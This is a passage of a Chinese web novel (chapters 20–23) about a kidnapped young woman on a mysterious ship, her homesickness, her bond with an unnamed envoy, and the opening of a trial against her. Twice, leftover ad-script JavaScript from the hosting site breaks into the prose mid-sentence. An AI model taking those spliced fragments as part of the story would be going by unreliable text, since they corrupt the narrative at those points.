有学有样,往他背上、肩上、脑袋上弹来弹去。马德鲁被围攻,嗷嗷乱叫。温知和在旁边笑得直不起腰。 嘻嘻哈哈一阵,时间不早了,孩子们向她道了晚安便各自回去了。 夜,又静了下来。 可温知和关了门,正要洗漱,门又被人敲响了。 咚咚咚。 她一手拿着装满水的牙杯,一手拿着抹了牙膏的牙刷,又没多余的手。于是把牙刷横着咬在嘴里,空出一只手才开了门。 柔和的走廊灯光下,青年挑了挑眉。“大晚上开门,你不先问问外面是谁么?” “猜到是你。” “我能进去吗?” 温知和本能地把门往外关了些,挡住青年看向室内的视线,然后咬着牙刷扭头,用视线上上下下地检查起来。 还好。因为东西不多,这屋子里并不乱。 她这才又把门重新打开。“进来吧。” 青年走进她这间屋子。这应该是他第二次来。不过上一次并不是什么值得怀想的回忆——那是她被绑来船上的第一天,饥肠辘辘,胆战心惊,而他只是公事公办,带着距离感地问她话。 他又站在了上次站的位置。房间里的灯很旧,光线昏暗,落在他身上,整个人都显得很柔和。 空气里很安静。 过了半晌,青年才开口道,“你这里没有什么缺的吧。” “没。” “如果有缺的,就去找管事要。他要钱就给他金子,不够的话再来找我。” 她想问他为什么愿意照顾她。可这个问题一旦出口,就没有收回来的余地了。不管他给的答案是什么,情况都只会往她不想要的方向滑落。 也许他会微微诧异地说,自己只是出于同乡情谊,随手扶她一把。那么她会失望。 也许他会笑,黑亮的眼睛望着她不说话。那么她会更加心乱如麻。 也许……他会说…… ——“因为我喜欢呀。” 可是…… 温知和盯着地上出神。 ——可是她想回家。她只想回家。 这一番纠葛的心理活动一个字也没有露出来。 青年也没有说话。他那个位置,手边就是桌子,上面堆满了她收上来的孩子们的画。纸张清脆的声响落在空气里,他一张一张地看着。 他看得并不专注。有时候一张画明明已经看过了半天,几张翻过去,像是忘了见过它一般,又捏在手里看一阵。他的心思根本不在这里。 一个低头看画,一个埋头看地,就是谁也不说话。 他终于放下了手里的画。 “……时间不早了。”他说。 “的确。” “那就不继续打扰你了,早点休息。” 到了门边,他终于说出今晚第一句算得上有实质内容的话。“之前说的话还记得吧?” “……哪句?” 他指了指桌上的画。“不要再调查了。不要再从小孩子那里套消息,也不要再破解那本档案书……保持什么都不知道的状态。” 她没顺着他的话说好不好,反问,“为什么?” 他也没顺着她的话向她解释,只说,“听话。” “……” 温知和到底是累了,拉过椅子来坐下,手瘫在椅背上,下巴也磕上去,有气无力地朝着他嗯了一声。 不查就不查吧。反正这艘船神秘兮兮的,也没查出过什么东西。 青年微微一笑。“晚安。” “晚安……” 那天晚上青年走了以后,温知和又是一连好几天没看见他。本以为那不过是他神出鬼没的日常状态,可某天下午和马德鲁聊天,竟听说—— 他是走了。 就在大熊星座号启程离开交易岛的那个黎明,他经由小船去了不远处那艘太阳船派来征集贡品的属船,现在根本不在这里。 21. 第二十一章 一晃好几天过去了。 船上热闹依旧。从早到晚,一幕一幕,到处是海上村庄的生活气息。不管怎么看、往哪里看,景象都和以前是一样的。 温知和的日程也和平时没什么差异。只是……不管干什么都有点提不起兴趣。抄书,抄着抄着就会抬头往窗外看,阳光下的大海十分平静,没有船只的身影。上课,总是给孩子们一个主题去画,自己就坐在椅子上,不知不觉地就开始发呆。 世界像丢了一层底色。 这天傍晚,温知和吃过晚饭,在走廊上消食散步。湿润的海风迎面吹,令皮肤有些发痒。她摸了摸头发,也是润的。在海上飘久了,发质受了不少影响。这些细枝末节平日里都没怎么在意。这几日心里空落落的,它们像趁虚而入一般涌了进来,让人越想越烦躁。 嗒。嗒。嗒。 被脚下的金属梯子声从思绪里唤回来时,温知和才发觉自己走到了哪里。 顶层楼梯间。 这地方据说是不该来的,可上来的门又从来都不关。 周围安静极了。明亮的阳光从外门照进来,到处都很干净。地面、栏杆、桌椅摆设,一尘不染。像玻璃橱窗里每日都会被人细心擦拭的精致模型,与底下几层充满烟火气的样子全然不同。 外面走廊栏杆旁有人。是个衣着朴素的中年妇人,枯黄的头发高高扎起,半埋在头巾里。她似乎正独自望着大海出神,扫帚、拖把和桶一类的清洁工具就摆在脚边。 ——是哈撒的母亲。 温知和转身正要走,忽然,对方开了口。 “对不起。” “……啊?” “……” 同生活在一艘船上,除了先前的几次交集,温知和平时也没少见过这位妇人。食堂里、甲板上、走廊上,隔三差五便能遇见。只是,从来没说过话。大多数时候甚至连眼神也不会碰上。 这是对方第一次开口。要是出言不善,让人觉得不舒服,温知和必定立马转身就走了;可偏偏对方是莫名其妙在道歉。 温知和一时有点茫然,反而下意识地停下了要走的动作。 妇人再次开口,声音很轻,几乎被海风掩盖住。“……那孩子,一定是做了什么错事吧。” “您在说谁?” “他去了太阳船之后,我时常给他写信。但他一年只会回复一次。每次……还不到三行。” 妇人说话时语气相当平和。温知和看不清她的脸,只觉得她的背影看上去很单薄。 妇人低声道,“我听说,是他要抓你来的。” “……你知道是为什么吗?” “我不知道。我已经……一点也不了解他了。” “……” 顶层的海风还是这么大。即使只是往外面看着,温知和也觉得眼睛被吹得难受,几乎有点湿润起来。 如果这一切只是一出剧情游戏,而她只是屏幕外的一个玩家,那么,此情此景——阳光、海风、安静的走廊,一个与幕后故事有些千丝万缕联系的重要角色表现出诚挚模样,又是道歉,又有要追忆起往事的意思……要是玩剧情的玩家,多半会选择站在这里听人把话说下去,最好能再挖出几个隐秘的故事解锁几个成就。 可这一切都不是游戏。 不管那个叫哈撒的幕后主使是什么样的人,不管他从前有过什么样的经历,只有一点和温知和有关系。那就是她明明什么也没有做,却被强行带出了原本生活的世界,到了一个莫名其妙的地方。 她对他们不感兴趣,更不想知道他们有什么苦衷。 她没有继续听妇人说话,也什么都没有再说,转身走下金属阶梯,离开了这个过于安静的地方。 一路上,她脚步越来越快。迎面遇见过几个面熟的人,不管对方是什么反应,她也没顾上打招呼,低着头就走了。视野里有点朦胧。 终于到了自己休息的舱室。 她从兜里掏钥匙,手却拿得不稳,钥匙胡乱往门孔里塞,隔了好一阵才对准,把门打开了。 咔哒。 门在身后关上,温知和抹着眼睛走到窗边,大海无边,阳光亮得刺眼,她一下子便扑到桌子上哭了起来。身上像是有千钧重担,压得人上气不接下气,眼泪把视野全模糊掉了。 好想回家。特别特别想回家。 没有一天不想回家。先是交不上所谓的贡品,差点被遗弃在荒岛上自生自灭,然后是整艘船上唯一一个似乎可以信任的人突然消失,再然后,碰上正在怀念罪魁祸首的他自己的母亲——如同最后一根稻草。千头万绪涌上来,她一下被压垮了。 因身体一直在颤,好像整个世界都在不停晃动。 面颊上温热的眼泪的触感,让她想起小时候。或是从椅子上掉下来摔疼了,或是莫名其妙和班里的同学吵架了,伤心不已,就是这么埋着头哭,眼泪哗啦啦的流——但最后永远会有一个声音把她哄起来,永远会有一双手温柔地为她擦掉眼泪。 爸爸妈妈。 ——好想你们。 上次算日子的时候,就已经在船上待了将近两个月了。没有对外联络的手机,甚至没有见过城市的影子,就在与世隔绝的地方不停地飘。家只在梦里出现。 爸爸妈妈是不是还在找她?他们会不会急得整夜整夜失眠,坐在她空空荡荡的房间里不停地叹气? 吉赛尔呢?她是真的已经安全回去了吗? 还有俞则。那天晚上她们打着国际长途电话,吃着薯片聊天,隔着千万里的距离一起笑个不停。那竟然是两个人之间最后一次说话。 她好想好想回家。 好希望哭得越来越难受,身体越来越沉、越来越沉,终于失去意识之后——再一睁眼,会看到最熟悉的、家里卧室的天花板。一切都不过是梦。然后她会闭着眼睛赖床,磨磨蹭蹭起身,一手刷着牙,一手在手机上打字,对俞则说起怪异的大梦里依稀还记得的一两个奇特场景。 偏偏,明明周遭一片安静,那安静却仿佛是化作实体的墙,压得她身体发疼,意识清明——这不是梦,这是现实。不管再怎么哭,也不会像记忆里那样有人来安慰。 哗啦。哗啦。 温知和哭得用力,桌子上原本堆着的孩子们的画被揉动,发出纸张摩擦的声响。 窗外的大海依旧广阔无垠,海面上的光却逐渐转淡了。黄昏消散,夜色降临,外面成了一片黑漆漆的世界。 她终于哭累了,声音低下去,空气里只剩下时不时的轻微的抽泣。 不知过了多久。 伴着窸窣声响,温知和起身在黑乎乎的房间里到处摸索,寻找着灯的开关。房间过道狭窄,她脑子仍是晕的,动作也迟缓,好几次撞上了冷硬的金属床腿。 终于找到了。咔哒一声,黑暗的房间忽然被光明填满,亮得温知和睁不开眼睛。过了一阵,适应光线后,她眯着眼睛在窗户上看到自己的影子。 看不清,于是凑近了些。能看清的时候,人和玻璃窗已经相当近了,一双红肿眼睛几乎是面贴面地对着一双一模一样的红肿眼睛。 还好教孩子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们画画是在下午,明天还有一上午的时间可以独自躲在图书室等着眼睛消肿,不然,说不定还要惹人议论。 温知和长长呼出一口气。眼睛一低,看见桌子上刚才被弄得乱七八糟的画,于是动手开始整理。才收了几张画,忽然发现—— 桌子上贴着一张小纸条。似乎是几天前就在这里的,只是被她每天拿回来的儿童画搁在上面挡住了。 “我有事离开一段时间,大概七天后回来。” 字迹清隽而锋利,是她见过的。 这句话末尾还有一个黑色的墨点,仿佛执笔人曾经思忖过要不要在后面再加些什么话,可提着笔迟疑良久,连墨都滴下来了,终于还是没有写。 温知和把纸条从桌上揭下来,举到眼前细看。左看右看。正面看。背面看。 原来他走之前给她留过言的。 ——原来刚才伏在桌子上哭的时候,他留下的这张纸条,就在距离她只有薄薄几张画纸的地方。 她在屋子里找了一阵。可她一无所有,连一个能保存这张纸条的破匣子也没有。于是最后又小心地把它贴回了原处,原本是把画都挪开了,免得遮住,再一想,日久天长容易落灰,于是又把画纸挪了回去,充当一层保护。 反正她知道它在这。 时间已经不早,她拎着东西到外面公共盥洗室刷了牙洗了脸,便回了房间关灯上床睡觉了。也许是哭得太久耗费了许多力气,身体累了,她不多时便睡熟了。 做了一个梦。 走在很长很长的黑暗里。走啊走。越走越快。 终于,地上出现了会发光的路。路边站着戴红色耳钉的青年,他双手揣在裤兜里,远远地冲她笑。 她便走过去和他一起走。走啊走。越走越慢。希望道路没有尽头。 不知何时,前方不远处出现了会发光的门,那么亮,缤纷世界的光影从一掌宽的门缝里显露出来。 她快步走过去,门也一下子打开,那一边站着好多人。 妈妈。爸爸。俞则。国内的朋友们。大家都在那里等她。他们身后是城市的高楼大厦,是碧波荡漾的东湖,是许久未见的故乡。 她欢喜极了,几步走上前去,却发现身后的人并没有跟上来,于是回头看过去。 青年仍站在原地。 不知何时,脚下的路成了两条,一条通往他,另一条才是门后的故乡。 像极了二选一的局面。 她有些发愣。看看这边,看看那边,最后朝着青年望了许久。心脏,有一种被揪起来的感觉。细密的疼痛顺着血管到处流淌,好像身体里长出了针。 她想起他牵着她在热带雨林里看神迹一般的潭水,想起他把耳钉取下来,那么轻易地就说送给她。 想起他留在桌子上的小纸条。 想起他一言不发地靠在甲板栏杆,手里夹着从来不抽的烟,太阳从他身后升起。 可是—— “对不起……我还是想回家。” 她转身朝着回家的门走去,一步,两步,那么快。就在抬起脚即将迈入门中的最后那个瞬间,她忽然想起—— “你为什么不和我一起回来?”她转过头去朝着那个方向喊着,“你不也是在淮市长大的吗?这里也是……” ——你的故乡。 她停住了。因为目之所及已经没有人。没有望着她时眼里总有点笑意的青年,只有无边无际的黑暗。 如同她每个晚上从狭小舷窗望见的大海,辽阔,深远,像能把世上的所有东西吞进去。 22. 第二十二章 这天下午课间休息,温知和跟几个孩子在教室外的走廊上聊天。大家都在打趣马德鲁,因为他刚才课上调皮捣蛋,被一个德高望重的马来老师当众狠狠训斥了一番。他自己却很无所谓,别人说一句,他接一句,一点尴尬的意思也没有,还有兴趣开玩笑。 温知和道,“嚣张,太嚣张了。” 马德鲁说,“我怎么了?” “在我们那儿,被老师骂的学生不说趴在桌子上哭,多少也会表现出一点伤心的意思。” “还好吧,她也没说什么重的。” “真的吗?虽然我听不懂,但当时老师指着你的鼻子骂得可凶了。” “噢……那好像是有两句挺难听的……”马德鲁回忆了一下,继而满不在乎地说,“无所谓了,记不得了。” 心态真好。温知和心想,这种像脑子里有记忆开关,只记好事、不记坏事的技能,还挺让人羡慕的。 笑聊声里,有脚步声从不远处传来。起初还无人在意,等来人的身影近了变得清晰,孩子们竟纷纷噤了声。有年纪小的,甚至往温知和身后躲了躲。 来的是两个人。 其中一个是许久未见的青年。他回来了。温知和心里并不意外,她算过时间,七天过后正好就是今天。他还挺准时的。 不过,这人这时看着,却让她觉得有点陌生。 平日里,他总是漫不经心、悠闲自在的样子,独来独往,在哪里都像局外人。这会儿却敛起了所有表情,眼睛微微低着,显得心思很沉。看上去——这不仅是个入了局的人,而且要左右所有事情的走向。 周身的空气仿佛也凝滞起来,无端令人紧张。 他身旁那人无疑便受了影响,一双眼睛里虽不时流露着精光,整体上却被压制着,显出一种毕恭毕敬的姿态。温知和确信那是一个全然陌生的人。他衣着华丽贵重,举止间却透露着油滑,此前她若是在船上见过,哪怕只有一眼也定然会有深刻的印象。 两人并未停下脚步,越来越近了。走廊地面上,他们的影子渐渐与教室门口孩子们的影子重叠起来。孩子们纷纷低下头去。 温知和假装玩着手指。两人途径她面前,遮住了阳光。那短短几秒钟的阴影里,她听见陌生人低声向青年说着什么,而他只是听着,神色始终很平静。 阳光重新落在温知和身上。他们就这么走了。青年没往这边看过,倒是那陌生人,见了这被孩子们环绕的地方,好奇地瞥过一眼,还打量过她。 等他们走远了,温知和小声说,“那是谁啊?” 马德鲁更小声地说,“使者。” “我是说另一个。” “也是使者,好像叫什么……菲尔兹?”马德鲁说,“他今天早上跟着使者一起上船的。听说,是特意来我们这里开庭的。” 温知和心中警铃大作,“开庭?” 马德鲁知道她没这里的常识,很耐心地解释道,“船上有人犯错的时候,要是事情不大,一般就是戴尔蒙徳管事说了算。事情稍微大一点,就大家一起决定。要是特别大,大家都管不了,就会上报给太阳船,由太阳船派使者来裁定。现在要开庭……可能有人闯大祸了吧。” 明媚的阳光仍照在身上,温知和却觉得一股笼罩已久的阴影从脚底下渐渐爬了上来。 一个使者要来处理某件事。 直觉告诉她这件事和她有关系。 这个海上的神秘世界……把她搁置了这么久,像一只潜伏已久的鬼,终于冒出头来,要开始处置她了吗? 马德鲁没注意温知和神色的变化,仍自顾自说着,“不过,很奇怪啊。很多年没见过太阳船使者来开庭了,而且,最近也没听说有谁惹了什么事啊……” “开庭一般是什么结果?”温知和问。 “别的地方不知道。不过我们大熊星座号上开庭,我知道的一共只有四次,”马德鲁说,“两次是太阳船船员资格审核,一个是哈撒,一个是我姐姐,他们都通过了。还有两次是审判犯了大错的人,”他顿了顿,咽了口口水,“……两个都死了。所以我们这里有一种说法,就是:进了庭审室的只有两种人,一种是去太阳船的人,另一种则是死人。” “……” 温知和极力保持着镇定。 - 太阳船来的那位新使者叫菲尔兹。这个名字本身没什么特别的意思,有意思的是——他竟然有名字。 毕竟这船上的另一位使者是没名字的。而且,不是那种大家知道他叫什么,却不那样叫的没名字,而是完完全全、彻彻底底,没一个人知道他姓甚名谁。同样来自太阳船的菲尔兹可能知道,但没跟任何人说过。可能也是不敢说。 由此可见,同为使者,两个人的地位大概还是有高低之分的。越是大人物越神秘。 明明都在船上,那个不知姓名的青年行踪莫测,专门要找的时候找不到,没想着看见他时却常在甲板意外偶遇,总之是飘忽不定。菲尔兹却相当亲民,总是在上午在甲板上散步、到处帮帮忙,下午在走廊上散步、到处又帮帮忙,晚上便把他舱室的门大敞开着,任谁都能看见他坐在里面处理他的文书。明明白白地生活在众人的目光里。 若是在游戏世界,菲尔兹一定就是每日固守在同一个位置的称职NPC。至于另一位,大概就是到处乱飘的世界BOSS了。 ——以上是茶余饭后闲谈间,温知和从马德鲁那里听来的本地传闻,和她自己随手做的小小总结。 目前看来这一切并没有什么意义。太风平浪静了,根本看不出菲尔兹想干什么。 但他无疑是冲着她来的。 就在他登船的第二天,她一清早出了门,没走两步便碰上他在走廊上来回踱步,吟诵着不知名诗人的诗。可能这是文化人的晨读。 狭路相逢,当她若无其事地打从他身旁路过,他主动打了个招呼。好标准的美式口音。 “温小姐。” “早上好。” “我叫菲尔兹。在太阳船上,我住在哈撒隔壁。” ——哈撒。 ——又是这个倒霉名字。 温知和戒备地等着自报家门的菲尔兹进一步说明来意,可对方就说了这么一句话,就点点头往后退了一步,鞠了个躬,转身走了。 温知和:“……?” 此后,固定点位NPC菲尔兹便再也没单独和温知和交谈过,专心地每天重复着他的NPC日程,而且因为到处帮忙,还在船民中间赚足了好感。 但他一定在暗地里筹划着什么。只是,她手无寸铁,信息来源也不足,只能每天戒备着。 每天早上出门,温知和必定要先开一条小小的缝,看清楚外面有什么,才渐渐开门。吱——呀——但凡这过程里有任何异动,她便立马停手,竖直耳朵探听周围的声音。以免有人藏在门后,突然跳出来。 在食堂吃饭时,温知和也很谨慎。大爷给打饭菜,她必然盯着对方的一举一动,确保东西是从大锅里来的,碗筷也是柜子里寻常的碗筷,没有任何特殊安排。以免被下毒。 晚上睡觉最是难熬。人人都知道,暗杀大多发生在夜晚。温知和睁着眼睛躺在被子里,耳朵比白日里还忙,全力捕捉着空气里所有的响动。稍有点动静便睡意全无,胆战心惊。 路上碰见菲尔兹更是心理上伤筋动骨的大事。对方就那么轻飘飘地走过来,她总是强自镇定,佯装无事,实际上全身上下每一个细胞都警铃大作,走不了几步路,脖子上全是汗。 日子像这么过,人很快就疲了。温知和每天呵欠连天,黑眼圈越来越重。下午给孩子们上课的时候,由于是跟人打交道,尚还能强打精神;上午一个人在几无声息的图书室里抄书,分分钟就埋着脑袋睡过去了。神经紧张,睡不了几分钟,醒来时总是后怕。 有那么一次,她趴在桌子上睡得迷迷糊糊的,忽然间听见书倒下来的声音,一抬头,看见一个颇具威胁的高大身影站在不远处挡住了光,直接吓出了一个激灵。 纳姆。 这男人身上的熵,每一次碰见都会新高出一个层级。从前是不修边幅、胡子拉碴,现在可是邋里邋遢了。他头发乱得像鸟巢,衣服脏得看不出原本的颜色,身上那股油腻腻的难闻气味,隔着这么远都能钻进温知和的鼻子。 也真让人捉摸不透。当初就是这个人直接动手把温知和从车上绑架来,还时不时便像鬼魂似的出现,把她吓一跳。可他好像也一直没做什么实际上的事。 这会儿,他正站在不远处的书架前,颇为专注地浏览着上面摆着的一本本书,看也没往这边看一眼。就好像温知和不存在一样。 也许他不动手,是投鼠忌器。也许他还在观望。也许他其实已经有点神智不清了。 温知和惜命,当即便把正在抄写的大档案轻轻合上了,小心翼翼地起身,小心翼翼地往门口挪步子,然后——溜了。 像这样云里雾里,摸不着头脑,却又胆战心惊的日子,什么时候才是个头? 再碰见青年时,仍是在甲板上。仍是群星满天的夜晚,四周寂寂,唯有海声,如同从前的某一次。 他手里也仍有一抹橘黄色的香烟火光。他不抽,只是拿在手里。她还记得他说那种烟的味道像“金路”,故乡淮市的一种特产。 温知和什么也没说,拖着疲惫的身躯走到栏杆边上,半弓着腰看底下的海水。黑漆漆的,灯光下偶尔能看见些许翻起来的白浪。周围的安静里,甲板吱呀作响,伴着风声海浪声。 青年目视着她,在她走近时把烟灭了,说,“怎么不好好休息?” “我现在很能共情一种人。” “哪种人?” “逃犯。” 每时每刻,命悬一线。可人家逃犯好歹是自己犯的错,她什么也没干,莫名其妙就到了这种境地里。 青年笑道,“把自己当成逃犯,你不就上当了?” 温知和没说话,心里却浮现出在船上第一次见面的时候,这人和她之间没头没尾的交谈。 ——“所以我、我是……囚犯?” ——“那就取决于你了。在一个没人拿得准你是什么来历的地方,你怎么看你,别人就怎么看你,不是吗?” 她很泄气,为了形容当前的局势,幽幽地吐出一串词,“势不均,力不敌。敌暗,我明。人为刀俎,我为鱼肉。猫捉……” “猫捉老鼠一般是为了逗着玩。” “我知道,我就是像老……” “这里的人没有那么闲。” 温知和嘟哝了几句,忽然想通了——“心理战?” “有人输得很彻底。” “……” 的确。太阳船派来处理她的那个菲尔兹不过是说了一句话,她却惶惶不可终日,睡不好,吃不香,精神状态越来越差。要是对方明天突然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “开庭”——不管这两个字指的是什么——她这样的状态都毫无还手之力。 好生阴险。 青年侧着脸背了光,神色看不清,声音里却隐约有点笑。“好好休息吧。别想太多。” “……但是,”温知和有点踟蹰,“万一他们真打算做点什么呢……” 不管是菲尔兹还是纳姆,抑或是这艘船上的任何一个人——她都根本不了解。也无从了解。 然而青年却说,“不会的。” “为什么?” “你不需要知道。” 温知和下意识地转头看了过去。 昏暗的船灯照着,一切都像罩了一层朦胧的油画滤镜。眼前人神色悠闲,轮廓干净,眉目间藏着笑意,因灯光只从一侧照着,清俊的脸上光影半明半暗,几乎就像是画里的人。 莫名的,让人很有安全感。 青年不急不缓地开口。因有点身高差距,他微微俯了身,凝视着她的眼睛说,“我保证。” 温知和隔了一阵才移开视线,从嗓子里挤出一个,“……噢。” 可是—— 这“保证”,是说他分析的形势绝对正确,菲尔兹绝对不会动手;还是说,即使菲尔兹真有意向做点什么事,他也会“保证”任何事都不会发生? 这人说话就和他的行踪一样,神神秘秘的。 温知和又低头去看海水。不知是不是时间太晚,大熊星座号放低航行速度,海水变得很平缓,黑漆漆的,连浪也没有了。好安静。 她若无其事地说,“哎。” “怎么了?” “你在这件事情里……到底是干什么的?” “不是说了不要问么?” “我可不想被人卖了还帮着数钱。你不是也很可疑吗?”温知和仰起脸,不自觉地踢了踢脚下的栏杆。咚。“那个菲尔兹可是你带回来的。而且,”她细数起来,“船上最开始和我说话的人是你、你也是所谓太阳船的使者、人人都很怕你、没人知道你叫什么……” 青年静静地听她数着,没有点头承认,但也没有辩驳。 温知和数着、数着,事情从大到小,到后面,便全是微不足道的细节了。却也说得一本正经。“你一个人住在顶层、你从来不去食堂……” 青年开始笑了。 再说到“你总是穿黑色的衣服”、“你写字特别好看”、“你好像有点招小动物喜欢”……温知和的语气越来越轻飘飘的,终于是编不下去了。顿了顿,还是做了个响当当的结论。“总之你这个人很神秘,没人知道你是干什么的。” “嗯,我知道。” “那你……” 不打算辩解一下吗?这后半句话没说出来,卡在了喉咙里,温知和一晃神,连自己都忘了原本要说的究竟是不是这样一句话。 因为他又朝她伸了手,修长的手指力度很轻,在她头发上揉了揉。几乎有一阵暖意。他低声说,“我不会伤害你的。” “……噢。” 他笑了一下,嘴唇动了动,像是要打趣她不好意思却强装镇定的时候总是会像这样“噢”一声。但或许是为了不让她更不好意思,终于还是没有说。 两个人安静地看了一会儿海。 青年缓缓地说,“目前看来‘开庭’应该是在七天后。这是一个很严谨的程序,作为调查员的菲尔兹会收集大量的证据,并和太阳船上的其他人远程连线讨论。他不是我的人,这个过程我插不了手,所以,这套程序必定会按最完整的流程走下来。” “……然后呢?” “然后,”他顺着她的话说,“对你来说最安全稳妥的状态,就是你什么都不知道,让菲尔兹查到你只是一个局外人,不仅完完全全无辜,而且对海上这些事情毫无兴趣。好了。你总是问来问去的,这次我说清楚了吗?” 温知和埋着头,又踢了踢脚下的栏杆。咚。“约等于没说。” 青年背过身去靠在栏杆上,“我能说的只有这些。” 说来说去,还是谜语人。不告诉她谜底,只告诉她听话。温知和沉默了一阵,一会儿踢踢栏杆,一会儿抬头看看天上。 终于她出了声。“谢谢你。” “忽然道谢?” “虽然不知道背后到底藏着什么秘密,但是……我会相信你的。” “好啊。” “还有……” “什么?” “……之前的事,所有的事,也谢谢你,”温知和嘟哝着,把接下来的话含糊带过,“虽然事到如今也不知道你到底是不是好人……” 青年全都听见了。他倚着栏杆看着天,眼睛里盛着高处的船灯光亮。 隔了一阵,他只是很轻地说,“不客气。” “……嗯。”温知和低头看着海。 其实无论是天还是海,都没什么可看的。天上的星星和昨天没差太多,大海里全是黑的。 临告别时,青年问了温知和一个问题。“你生日是多久?” “十二月十五。怎么了?” 他似乎想了些什么,但,开口时语气如常。“太远了,应该等不到那么晚。那么就在‘庭审‘结束的时候吧。我给你准备了一件礼物。” ——礼物? 温知和的好奇心被勾了起来,不再看海,转而看向身旁近在咫尺的人。“什么礼物?” “到时候就知道了。” 23. 第二十三章 温知和受青年的提醒,识破了菲尔兹的“心理战”,情绪上的担子便卸下去了。每天吃好喝好,睡得也饱。人的确是住在身体里的,身体被照顾好了,一切便都会好起来。 再与对方狭路相逢的时候,对方笑眯眯的,她也笑眯眯的。 “温小姐。” “菲尔兹先生。” 两句招呼打完,迎面而行的两人已是面对面了。温知和神色不改,朝着前方走着自己的路,全然不受影响。反倒是菲尔兹觉得她不同往常,脚步一慢,望了她一眼。 温知和的目的地是图书室。自从在戴尔蒙徳管事的压迫下接了抄档案的活,几乎就没休息过一天,每天对着一页又一页看不明白的马来文字,画画似的描摹。还得够整齐、够干净。 戴尔蒙徳管事最初定的量是一天二十页。温知和做事认真,每天只有多的,没有少的。 她在破落图书室里那张早已熟悉了的大桌子前坐下来,翻开老旧的大档案册,娴熟地找到前一天抄到的那一页,笔记本摊开,钢笔也蘸上了墨。 刚落下第一笔。 海上阳光从狭小的窗户落进来,恰好照亮了眼前的档案册。它摊开着,右边是剩下还没抄的,仿佛意味着未来无穷无尽的劳碌,相当厚实;左边则是抄过了的部分。 温知和忽然发现,抄完了的这一边原来也已经很厚了,在桌面上堆积起了不容忽视的份量。她放下笔,细细地数着这些已抄写了的页数。 竟已有一千多页了。 每一天都很漫长。可不知不觉,也过去这么久了。 - 如青年所说,七天一过,“庭审”果然启动了。 那个上午同往常没什么两样,温知和在船上食堂领了粗茶淡饭,独自在角落里坐着吃了还不到一半,戴尔蒙徳管事端着碗从她身边走过,脚步稍顿,就说了这么一句话。 “九点来一趟顶层。” 说完他就走了。 温知和慢慢把嘴里的食物嚼碎了咽下去,然后,认认真真地把剩下的东西吃了个干净,连水都喝得一滴不剩。 放了碗筷,从人挤人的食堂出来,穿过一条条海风吹拂的长廊,到了楼梯间。沿着螺旋上升的旧阶梯往上走。一级,一级,伴着踩在金属阶梯上的脚步声,底下的人声逐渐远了。 顶层总是很安静的。早晨的阳光清澈明亮,地面一尘不染,几乎闪着光。 戴尔蒙徳管事难得穿了一身正装,打着呵欠在楼梯口等她。见她来了,点了个头便示意她跟着他走。 目的地并不陌生。 她来“探险”时也曾到过。是在孩子们的画上出现过的神秘地点中的一个,顶层靠近船尾的最后一个房间。 孩子们有的把它画得漆黑一片,有的把它画成了烈火燃烧的鬼怪乐园。为此,她曾写下三个关键词:恐怖、残忍、权力。 原来这个神秘兮兮的房间就是庭审室。 略微生锈的大铁门同上次见到时一样,紧紧关着,仿佛一口棺材。戴尔蒙徳管事伸手推门,令人不适的金属摩擦声响起,如同一块棺材板子逐渐揭开了,里面的景象逐渐映入眼帘。 里面并不大,横着摆了几张铁桌子、几条长木凳子,色泽都是灰暗的。海上的阳光从窗外透进来,仿佛也带着冷意。 就这么一个地方,竟已有了十几个人。温知和看过去,几乎都是熟面孔。 菲尔兹作为太阳船专门派来处理她的使者,坐在最前一排,面前的桌子上摆了厚厚一摞文书。他今天显然是有备而来,连衣服都比平日里更为精致讲究,脸上带着从容不迫的表情。 菲尔兹旁边,青年正闭目养神。他有一种局外人的姿态,仿佛这里的事和他并无关联。阳光斜照着,恰好映在他左耳下的那枚耳钉上,赤红流转,熠熠生辉。 温知和的心忽然便安定下来了。 再往后看过去,长凳上挨挨挤挤地坐着教室里的几个马来老师、食堂的打饭大爷、厨房的管事婆子等等,都是平日里打过交道的人。大概是这场庭审的听众,或者证人。他们瞅着她,有人面露怜悯,也有人漠不关心。 戴尔蒙徳管事把温知和领到一旁空位上坐下,便走到房间正中央,敲了敲桌子上的一枚铜钟。 钟声停息时,空气中所有的躁动也跟着沉了下去。 “庭审”正式开始了。 先是戴尔蒙徳管事说了几句,接着,换菲尔兹走了上去,字正腔圆,似乎在宣读一些必要事项。问题是—— 温知和半点听不懂。他们讲的都是马来语。 “请等一下。”她忽然开口。 众人纷纷看向她。连闭目养神的青年也睁了眼。 温知和对着菲尔兹一字一顿地说,“你应该用英文。” 菲尔兹道,“这里坐着的大多数是我们马来人。” “但是,被审判的人是我,你们在处置的是我的未来、我的性命。我有权利知道你们在议论什么。” 看前面出了状况,后排的听众们开始窃窃私语。一旁的戴尔蒙徳管事走过去,压低了声音训斥着,大概是要他们保持安静。 菲尔兹脸上露出一个专门用来应付场面的客气的笑,正要说话,另一个声音先开了口。 青年抱着手臂,说,“换吧。” 菲尔兹露出为难的表情,“但是……” “很合理的要求。‘庭审’是公正的,无论在场上使用哪一种语言,都不会影响这一点。不是吗?” 菲尔兹有一阵没说话,然后,露出毫无破绽的职业微笑,将马来语切换成了英文,“您说得对。毕竟,‘庭审’是绝对公正的,判决结果要被审判人心服口服才行。” 他敲了敲桌子。咚咚。后排的议论声一下子就停了。 温知和终于能听懂这场庭审。 菲尔兹的发言非常平稳,措辞也相当正式。 “使者、主审官、各位证人,现在是世界通行时间二零一七年十月十二日,上午九点十五分,大熊星座号第三十二起‘庭审’即将启动。从现在开始,本庭内任何人的发言都将被记录在案。” “现在介绍本次审判的事件背景。二零一七年八月一日,二级附属船大熊星座号依照既定航行路线,途径外界城市兰卡威,接到太阳船一级巡察官哈撒先生的指令:将在兰卡威国际义工之家工作的,一位名叫‘温知和’的东亚小姐带到船上来。” 说到这里,菲尔兹翻开了桌上的文件夹,从里面拿出一张照片,展示给众人。 温知和眯起眼睛。那是她的照片。而且,不是暗地抓拍的模糊相片,也不是日常生活照,而是她的护照相片。图像相当清晰,明显不是对着照片翻拍,而是拿到了原版电子照,打印下来的。 这个海上的怪地方,竟然能拿到这种私人信息。 